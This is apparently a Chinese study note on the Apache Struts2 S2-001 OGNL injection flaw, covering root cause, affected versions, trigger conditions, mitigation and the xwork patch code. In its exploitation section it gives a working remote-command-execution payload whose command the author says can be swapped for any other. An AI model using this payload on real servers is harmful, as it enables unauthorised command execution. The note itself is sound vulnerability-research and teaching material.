写在前面
这篇文章是关于作者学习s2-001漏洞的笔记
对于一个从事安全方向的人,漏洞复现和学习是非常有必要的,一方面是面试时可能会问到;另一方面是学习这些漏洞可以了解漏洞一般是怎么产生的,有助于你自个去发掘0day;还有就是对于安全工具开发者,研究漏洞有助于编写自动化工具实现漏洞的自动检测和利用
在我学习一个漏洞的时候,我会以下几个方面入手
- 这个漏洞的原理是什么
- 这个漏洞影响哪些版本
- 这个漏洞在什么环境下能触发
- 这个漏洞怎么利用
- 这个漏洞怎么修复的
- 紧急响应的处理方法
- 最终补丁使用的方法
- 能为这个漏洞编写工具实现自动化检测和利用吗(可选项,根据个人情况决定
除此之外,学习一个漏洞最好是上手实践一下,GitHub有一个非常好的项目(vulhub),是基于docker-compose的提前构建好的漏洞环境,大家可以尝试一下
关于s2-001,我没找到当时的紧急处理方法,所以下面的方法是我自个想的,可能不对,因为我也没有遇到过紧急情况(笑)
关于这篇文章,如果有建议或问题请留言或联系h3llow0rld@foxmail.com
正文
环境搭建
vulhub的漏洞环境是支持远程调试的,但是有些比较老旧的环境没有配置远程调试的选项,需要自己手动的配置一下,这个小节较为详细的演示如何配置。如果不想远程调试,只是运行环境测试payload的朋友可以跳过这一小节
1.对于开源项目,将源代码拉下来,进入漏洞对应的版本
2.配置一下Dockerfile和docker-compose文件
3.使用idea打开项目,配置debug config
4.打断点,开始debug
漏洞分析
影响版本
2.0.0~2.0.8
漏洞原理
开启altSyntax后,在渲染返回页面时,struts2解析闭合标签的过程中递归解析了用户的输入值,因此用户可以构建OGNL表达式进行OGNL注入,最终导致了RCE
关于altSyntax,这个功能的作用是将标签内的内容当作OGNL表达式解析,关闭了之后标签内的内容就不会当作OGNL表达式解析了
关于OGNL是什么,可以看一下这篇文章扫盲
详细的分析可以看chybeta师傅的文章
利用条件
1.开启altSyntax,在struts.xml中配置
<struts altSyntax="true">
<package name="default" extends="struts-default">
<!-- 你的配置 -->
</package>
</struts>
2.用户输入数据后页面不发生跳转,或者跳转后页面有与跳转前页面有相同的标签存在,且该标签输入内容是用户可以控制的。最经典的场景就是登陆表单,一般登陆表单都会设置validation条件,校验失败会原样返回用户输入的值,触发了漏洞
利用方法
需要注意的是所有payload发送到服务器之前需要经过url编码
验证PoC:%{1+1}
利用PoC:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
pwd
可以改为任意的命令
如何修复
紧急处理方法
关闭altSyntax,不适用OGNL表达式
补丁修复方法
具体的修复在xwork-2.0.4中,通过修改com.opensymphony.xwork2.util.TextParseUtil#translateVariables
方法来限制递归的解析,新增参数int maxLoopCount
用于确保不在递归解析用户的输入
//xwork-2.0.3 com.opensymphony.xwork2.util
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
Object result = expression;
while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
// 省略下面部分